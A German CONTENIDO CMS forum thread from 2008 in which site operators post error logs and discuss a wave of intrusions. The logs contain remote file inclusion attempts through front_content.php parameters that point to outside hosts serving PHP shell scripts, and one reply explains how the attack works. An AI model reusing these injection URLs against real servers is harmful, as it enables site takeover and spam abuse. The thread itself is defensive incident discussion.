Versuch zu Hacken?

Fragen zur Installation von CONTENIDO 4.9? Probleme bei der Konfiguration? Hinweise oder Fragen zur Entwicklung des Systemes oder zur Sicherheit?
tinof
Beiträge: 197
Registriert: Mi 24. Jan 2007, 20:38
Wohnort: Kirchberg / Sa.
Kontaktdaten:

Beitrag von tinof »

Hallo,

ich jetzt auch: Ist das ein (erfolgreicher ??) Hackversuch ? :

Code: Alles auswählen

sgJEdMT0JBTFNbJ  { .. ganz viel Buchstabensalat .. } Jzsg', '20080301223845')

[01-Mar-2008 22:38:45] /inhalt/cms/front_content.php?idcat=82&idart=96&xtc_catid=15 Session: freeze() failed.
[02-Mar-2008 12:35:02] /inhalt/cms/front_content.php?idcat=82&idart=96&xtc_catid=1 MySQL error 1062: Duplicate entry '622dfeb3a05a180131e528f7b3a95b9d' for key 1
insert into con_phplib_active_sessions ( sid, name, val, changed ) values ('622dfeb3a05a180131e528f7b3a95b9d', 'sid_1_1', 'c2lkXzFfMTokdG{ .. ganz viel Buchstabensalat .. } MCc7IA==', '20080302123501')

[02-Mar-2008 12:35:02] /inhalt/cms/front_content.php?idcat=82&idart=96&xtc_catid=1 Session: freeze() failed.
[02-Mar-2008 18:26:43] PHP Warning:  parse_url(/inhalt/cms/front_content.php?idcatart=http://cherrygirl.h18.ru/images/cs.txt?) [<a href='function.parse-url'>function.parse-url</a>]: Unable to parse url in /usr/www/users/meinedomain/inhalt/cms/front_content.php(882) : eval()'d code on line 138

[02-Mar-2008 18:26:43] PHP Warning:  parse_url(/inhalt/cms/front_content.php?idcatart=http://cherrygirl.h18.ru/images/cs.txt?) [<a href='function.parse-url'>function.parse-url</a>]: Unable to parse url in /usr/www/users/meinedomain/inhalt/cms/front_content.php(882) : eval()'d code on line 138

[02-Mar-2008 18:26:43] PHP Warning:  parse_url(/inhalt/cms/front_content.php?idcatart=http://cherrygirl.h18.ru/images/cs.txt?) [<a href='function.parse-url'>function.parse-url</a>]: Unable to parse url in /usr/www/users/meinedomain/inhalt/cms/front_content.php(882) : eval()'d code on line 138

[02-Mar-2008 21:29:34] PHP Warning:  session_start() [<a href='function.session-start'>function.session-start</a>]: The session id contains invalid characters, valid characters are only a-z, A-Z and 0-9 in /usr/www/users/meinedomain/inhalt/contenido/frm/crypt/cryptographp.fct.php on line 14

[02-Mar-2008 21:29:34] PHP Warning:  session_start() [<a href='function.session-start'>function.session-start</a>]: Cannot send session cache limiter - headers already sent (output started at /usr/www/users/meinedomain/inhalt/contenido/frm/crypt/cryptographp.fct.php:14) in /usr/www/users/meinedomain/inhalt/contenido/frm/crypt/cryptographp.fct.php on line 14

[02-Mar-2008 21:29:34] PHP Warning:  Unknown(): The session id contains invalid characters, valid characters are only a-z, A-Z and 0-9 in Unknown on line 0

[02-Mar-2008 21:29:34] PHP Warning:  Unknown(): Failed to write session data (files). Please verify that the current setting of session.save_path is correct (/tmp) in Unknown on line 0

[03-Mar-2008 08:42:50] /inhalt/contenido/main.php?area=news&frame=4&contenido=ee3a254731a1515898d4025476c1c0fc MySQL error 1062: Duplicate entry 'ee3a254731a1515898d4025476c1c0fc' for key 1
insert into con_phplib_active_sessions ( sid, name, val, changed ) values ('ee3a254731a1515898d4025476c1c0fc', 'contenido', 'Y29udGVuaW{ .. ganz viel Buchstabensalat .. } JzMnOyA=', '20080303084249')

[03-Mar-2008 08:42:50] /inhalt/contenido/main.php?area=news&frame=4&contenido=ee3a254731a1515898d4025476c1c0fc Session: freeze() failed.
Contenio Version 4.6.23
Die Parameter xtc_xxxxx gehören zu einem Modul von uns und werden eigentlich per is__numeric() usw. gecheckt.
Das session_freeze() verunsichert mich etwas, aber auch das kann an unserem Modul liegen, dass sich von Zeit zu Zeit per hartem sess_register() etwas (an der Contenido - Session vorbei) merken möchte.
Richtig stutzig macht mich die komische URL.

Der Account ist heute sehr langsam, was auf ein Problem hindeuten würde, auf den ersten Blick sehe ich aber keine manipulierten Daten.

Was meint ihr ?
Danke schon mal im Vorauss.


P.S. wenn der erwähnte Modulcode hilfreich für die Diagnose sein könnte, bitte sagen.
Für die Freizeit : www.hobbybrauer.de
tinof
Beiträge: 197
Registriert: Mi 24. Jan 2007, 20:38
Wohnort: Kirchberg / Sa.
Kontaktdaten:

Beitrag von tinof »

Ok,

ich denke, ich kann Entwarnung geben:

Das die Präsenz so langsam wurde, lag an den cronjobs.
Die Dateien, in denen Contenido den letzten Cron-Lauf vermerkt, waren irgendwie nicht beschreibbar. Deshalb wurden die Jobs alle bei jedem Seitenaufruf immer wieder ausgeführt, u.a. auch der schöne job 'optimize_database'.

Ich habe diese Dateien einfach mal gelöscht, jetzt hat sie der Server neu angelegt, so wie es ihm genehm ist, und nun klappt es wieder zügig.

Habe auch geprüft, was da alles aufgerufen wird und konnte keinen verfänglichen Code entdecken.

Trotzdem würde mich eine Expertenmeinung zu

Code: Alles auswählen

PHP Warning:  parse_url(/inhalt/cms/front_content.php?idcatart=http://cherrygirl.h18.ru/images/cs.txt?) [<a href='function.parse-url'>function.parse-url</a>]: Unable to parse url in /usr/www/users/meinedomain/inhalt/cms/front_content.php(882) : eval()'d code on line 138 
interessieren.

Danke und Grüße
Tino

Edit:
Ich sollte vielleicht noch hinzufügen, es geht um die Dateien
\contenido\cronjobs\*.job
Für die Freizeit : www.hobbybrauer.de
wosch

Beitrag von wosch »

tinof hat geschrieben:Habe auch geprüft, was da alles aufgerufen wird und konnte keinen verfänglichen Code entdecken.

Code: Alles auswählen

PHP Warning:  parse_url(/inhalt/cms/front_content.php?idcatart=http://cherrygirl.h18.ru/images/cs.txt?) [<a href='function.parse-url'>function.parse-url</a>]: Unable to parse url in /usr/www/users/meinedomain/inhalt/cms/front_content.php(882) : eval()'d code on line 138 
Das war der Versuch einer Url-Injektion.
Über
h***://cherrygirl.h18.ru/images/cs.txt
sollte eine php-Schell auf deinem Server installiert werden.

Du hast einen IIS laufen, deswegen die etwas seltsame Fehlermeldung, es wurde mit einem Unix/Linus-Befehl, den der IIS nicht kennt, versucht die Datei vom ru-Server auf deinem Server auszuführen.

Das "Kirschenmädchen" ist mit der Masche seit Herbst 2007 im Internet unterwegs.
(Mittlerweile vom ru-Server gelöscht)
tinof
Beiträge: 197
Registriert: Mi 24. Jan 2007, 20:38
Wohnort: Kirchberg / Sa.
Kontaktdaten:

Beitrag von tinof »

Danke !
Für die Freizeit : www.hobbybrauer.de
tinof
Beiträge: 197
Registriert: Mi 24. Jan 2007, 20:38
Wohnort: Kirchberg / Sa.
Kontaktdaten:

Beitrag von tinof »

Hallo, sorry, aber ich muss nochmals hier fragen:

eine andere Präsenz, hier Contenido 4.6.15:

Code: Alles auswählen

[03-Mar-2008 15:33:45] /cms/cms/front_content.php?idcat=http%3A%2F%2Fwww.psikolojikyardim.org%2Fetkinlik%2Finclude%2Feto%2Fnixaz%2F connect({meinDBHost},{meinDBUser}, $Password) failed.
[03-Mar-2008 15:33:45] /cms/cms/front_content.php?idcat=http%3A%2F%2Fwww.psikolojikyardim.org%2Fetkinlik%2Finclude%2Feto%2Fnixaz%2F next_record called with no query pending.
Ok, das ist wieder der Versuch einer URL - Injection. Was mich verunsichert ist, dass in der Fehlermeldung im Klartext meine Datenbankanmeldung auftaucht (bis auf $Passwort).
Ich möchte eigentlich 'nur' wissen:
- Diese Meldung kommt von Contenido selbst, und Contenido kennt natürlich die DB - Anmeldung, richtig ??
- Oder hat da jemand Anmeldedaten auslesen können?

Ansonsten keine Auffälligkeiten..

Danke nochmal
Tino
Für die Freizeit : www.hobbybrauer.de
Faar
Beiträge: 1951
Registriert: Sa 8. Sep 2007, 16:23
Wohnort: Brandenburg
Hat sich bedankt: 15 Mal
Kontaktdaten:

und wieder eine URL-Injektion

Beitrag von Faar »

heute Nacht hat es mich erwischt, URL-Injektion, mein Provider sperrte daraufhin meine Seite.

------
edit rbi:

bis zum bugfix wird die anleitung des exploits nicht angezeigt..
bugfix kommt.
-------

Mein Provider schrieb diese netten Zeilen dazu:

Ihr Account xxx.xx musste heute zu Ihrer Sicherheit gesperrt werden, da
Ihr Account gehackt wurde. Es liefen diverse verbotene Skripte bzw. es wurde massiv gespammt.


ohje... :(
Wo liegt das offene Scheunentor? :shock:
Halchteranerin
Beiträge: 5478
Registriert: Di 2. Mär 2004, 21:11
Wohnort: Halchter, wo sonst? ;-)
Kontaktdaten:

Re: und wieder eine URL-Injektion

Beitrag von Halchteranerin »

Faar hat geschrieben:Wo liegt das offene Scheunentor? :shock:
Sollen wir jetzt raten oder würfeln? :roll:

http://forum.contenido.org/viewtopic.php?p=70993#70993
Bitte keine unaufgeforderten Privatnachrichten mit Hilfegesuchen schicken. WENN ich helfen kann, dann mache ich das im Forum, da ich auch alle Postings lese. PN werden nicht beantwortet!
Faar
Beiträge: 1951
Registriert: Sa 8. Sep 2007, 16:23
Wohnort: Brandenburg
Hat sich bedankt: 15 Mal
Kontaktdaten:

Beitrag von Faar »

Wenn ich es genau wüsste, würde ich es ja posten :?

rbi hat scheinbar die Spur aufgenommen und ich hoffe, dass er das (oder die) Löcher stopfen kann.

Bis dahin will er nicht, dass genau Angaben gemacht werden :roll:

...und bis zu einer Lösung läuft nur meine alte html-Seite :(
Halchteranerin
Beiträge: 5478
Registriert: Di 2. Mär 2004, 21:11
Wohnort: Halchter, wo sonst? ;-)
Kontaktdaten:

Beitrag von Halchteranerin »

Du hast nicht mal die Contenido-Version gepostet. :roll:
Bitte keine unaufgeforderten Privatnachrichten mit Hilfegesuchen schicken. WENN ich helfen kann, dann mache ich das im Forum, da ich auch alle Postings lese. PN werden nicht beantwortet!
Faar
Beiträge: 1951
Registriert: Sa 8. Sep 2007, 16:23
Wohnort: Brandenburg
Hat sich bedankt: 15 Mal
Kontaktdaten:

Beitrag von Faar »

Version 4.6.23
Maribeauli

Re: und wieder eine URL-Injektion

Beitrag von Maribeauli »

Halchteranerin hat geschrieben:
Faar hat geschrieben:Wo liegt das offene Scheunentor? :shock:
Sollen wir jetzt raten oder würfeln? :roll:

http://forum.contenido.org/viewtopic.php?p=70993#70993
Es liegt genau da wo rbi editiert hat !!!

Ich habe den Originaltext noch gelesen, und nur mit dem Kopf geschüttelt.
Sowas darf nicht passieren (von einem Contenido-Entwickler !!!)

Eine kurze Suche gestern gab gleich ein paar Fundstellen, die interessanteste hier:

Bild

Wenn man den Link anklickt, landet man dort:

Bild

Gleich die erste Zeile, die mit den roten Punkten, ist der Versuch bei @faar.

Und in den folgenden 19 Zeilen (Im Bild sind nicht alle Zeilen enthalten sind jeweils weitere Hack-Möglichkeiten für Contenido 4.8.x
Supporter
Beiträge: 124
Registriert: Mo 12. Mai 2008, 14:21
Wohnort: In the middle of something...
Kontaktdaten:

Beitrag von Supporter »

Mal 'ne doofe Frage, denn ich habe ja ohnehin keine Ahnung, aber lässt sich Contenido mittels .hta gegen diesen Scheiss eigentlich schützen?

Wer möchte denn schon freiwillig ein System das löchrig ist wie ein Schweizer Käse?
Ειμαστε στη μεση απο κατι...
Faar
Beiträge: 1951
Registriert: Sa 8. Sep 2007, 16:23
Wohnort: Brandenburg
Hat sich bedankt: 15 Mal
Kontaktdaten:

Session modifizieren mit SQL-Injection?

Beitrag von Faar »

Ich habe mal das Errorlog von einem anderen Projekt angeschaut und da waren sie heute Nacht auch und zuvor mal mit diesen hier:

/contenido/cms/front_content.php MySQL error 1062: Duplicate entry...

Da wurde versucht, in die Datenbank eine neue sid reinzuschreiben, quasi eine aktive Session zu erzeugen.
stsofd
Beiträge: 82
Registriert: So 19. Okt 2003, 19:57
Kontaktdaten:

Schnelle Lösung?

Beitrag von stsofd »

Hallo,
da ich jetzt zum zweitenmal innerhalb von 72 Stunden einen Hack-Angriff erlebe, benötige ich eine schnelle vorübergehende Lösung, damit Angriff Nr. 3 evtl. verhindert werden kann.

Mein Provider hat mir schon wieder die ähnlichen Mails (wie ja anscheinend auch an Faar) gesandt.

Ich möchte morgen nicht schon wieder manuell den ganzen Mist rausschmeißen müssen... :evil:

Gibt es eine vorrübergehende schnelle Lösung???
holger.librenz_4fb

Beitrag von holger.librenz_4fb »

Es gibt eine endgülitge Lösung: Bitte auf die heute erschienene Version 4.8.5 aktualisieren!

So long,
Holger
Antworten